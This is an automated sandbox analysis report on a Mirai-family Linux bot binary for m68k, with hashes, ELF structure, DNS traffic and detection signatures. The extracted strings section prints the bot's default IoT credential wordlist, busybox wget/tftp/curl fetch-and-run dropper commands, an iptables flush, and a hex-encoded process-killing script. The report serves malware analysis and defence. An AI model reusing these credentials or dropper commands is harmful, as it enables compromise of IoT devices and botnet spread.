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Linux Analysis Report
la.bot.m68k.elf

Overview

General Information

Sample name:la.bot.m68k.elf
Analysis ID:1561810
MD5:d50b446bb7388c2b4d67bbe449fb73d3
SHA1:51c1b38665b8b6a70f999a50b2ad7b296f518a69
SHA256:3483c665cff8125af4a0731c256e7a8ed72537131f1029d9a506f7ee7788305f
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1561810
Start date and time:2024-11-24 11:17:09 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 26s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.m68k.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
  • VT rate limit hit for: la.bot.m68k.elf
Command:/tmp/la.bot.m68k.elf
PID:5447
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.m68k.elf (PID: 5447, Parent: 5372, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/la.bot.m68k.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.m68k.elfReversingLabs: Detection: 28%
Source: la.bot.m68k.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.m68k.elfString: XN^Nu/proc/self/exe/. /proc//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin/
Source: la.bot.m68k.elfString: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.m68k.elf (PID: 5447)Socket: 127.0.0.1:1234Jump to behavior
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.m68k.elfString found in binary or memory: http:///curl.sh
Source: la.bot.m68k.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: (usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/la.bot.m68k.elf (PID: 5447)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.m68k.elf, 5447.1.00007f9b78015000.00007f9b7801c000.rw-.sdmpBinary or memory string: VMware
Source: la.bot.m68k.elf, 5447.1.00007ffcec5cd000.00007ffcec5ee000.rw-.sdmpBinary or memory string: /usr/bin/qemu-m68k
Source: la.bot.m68k.elf, 5447.1.00007f9b78015000.00007f9b7801c000.rw-.sdmpBinary or memory string: QEMU7U
Source: la.bot.m68k.elf, 5447.1.00007ffcec5cd000.00007ffcec5ee000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-m68k/tmp/la.bot.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.m68k.elf
Source: la.bot.m68k.elf, 5447.1.000056028d9e3000.000056028da68000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 5447.1.000056028d9e3000.000056028da68000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 5447.1.00007ffcec5cd000.00007ffcec5ee000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
la.bot.m68k.elf29%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shla.bot.m68k.elffalse
      high
      http:///curl.shla.bot.m68k.elffalse
        high
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.330203482022838
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:la.bot.m68k.elf
        File size:73'132 bytes
        MD5:d50b446bb7388c2b4d67bbe449fb73d3
        SHA1:51c1b38665b8b6a70f999a50b2ad7b296f518a69
        SHA256:3483c665cff8125af4a0731c256e7a8ed72537131f1029d9a506f7ee7788305f
        SHA512:c2fd135218afeab9ca714a2987a754cd94af3175cc9f194421793b80d4f21b38fd40fbce274a4425bf4eff17c9c9dc9b3ae08995e964abf797cf9d543bfc06cd
        SSDEEP:1536:wwxti2S3YtHOiAvjylk3rfv8q0LccTWKXlMXroCNkBw:ptSotDAvok3TG5jXCX3V
        TLSH:346329DA6100DD7DFC0BD33781024A05F535B749AF922A23B7A2F9B75D71188AE3AD81
        File Content Preview:.ELF.......................D...4.........4. ...(.......................p...p...... ........p..8p..8p...<..E....... .dt.Q............................NV..a....da....xN^NuNV..J9..;.f>"y..8. QJ.g.X.#...8.N."y..8. QJ.f.A.....J.g.Hy...lN.X.......;.N^NuNV..N^NuN

        ELF header

        Class:ELF32
        Data:2's complement, big endian
        Version:1 (current)
        Machine:MC68000
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x80000144
        Flags:0x0
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:72692
        Section Header Size:40
        Number of Section Headers:11
        Header String Table Index:10
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x800000940x940x140x00x6AX002
        .textPROGBITS0x800000a80xa80xfca20x00x6AX004
        .finiPROGBITS0x8000fd4a0xfd4a0xe0x00x6AX002
        .rodataPROGBITS0x8000fd580xfd580x1b120x00x2A002
        .eh_framePROGBITS0x8001186c0x1186c0x40x00x2A004
        .ctorsPROGBITS0x800138700x118700x80x00x3WA004
        .dtorsPROGBITS0x800138780x118780x80x00x3WA004
        .dataPROGBITS0x800138840x118840x3280x00x3WA004
        .bssNOBITS0x80013bac0x11bac0x42900x00x3WA004
        .shstrtabSTRTAB0x00x11bac0x480x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x800000000x800000000x118700x118706.35530x5R E0x2000.init .text .fini .rodata .eh_frame
        LOAD0x118700x800138700x800138700x33c0x45cc3.96590x6RW 0x2000.ctors .dtors .data .bss
        GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
        TimestampSource PortDest PortSource IPDest IP
        Nov 24, 2024 11:17:59.212685108 CET4634253192.168.2.138.8.8.8
        Nov 24, 2024 11:17:59.212743044 CET5638953192.168.2.138.8.8.8
        Nov 24, 2024 11:17:59.346792936 CET53563898.8.8.8192.168.2.13
        Nov 24, 2024 11:17:59.346828938 CET53463428.8.8.8192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Nov 24, 2024 11:17:59.212685108 CET192.168.2.138.8.8.80xcbd5Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Nov 24, 2024 11:17:59.212743044 CET192.168.2.138.8.8.80x3b7fStandard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Nov 24, 2024 11:17:59.346828938 CET8.8.8.8192.168.2.130xcbd5No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
        Nov 24, 2024 11:17:59.346828938 CET8.8.8.8192.168.2.130xcbd5No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):10:17:56
        Start date (UTC):24/11/2024
        Path:/tmp/la.bot.m68k.elf
        Arguments:/tmp/la.bot.m68k.elf
        File size:4463432 bytes
        MD5 hash:cd177594338c77b895ae27c33f8f86cc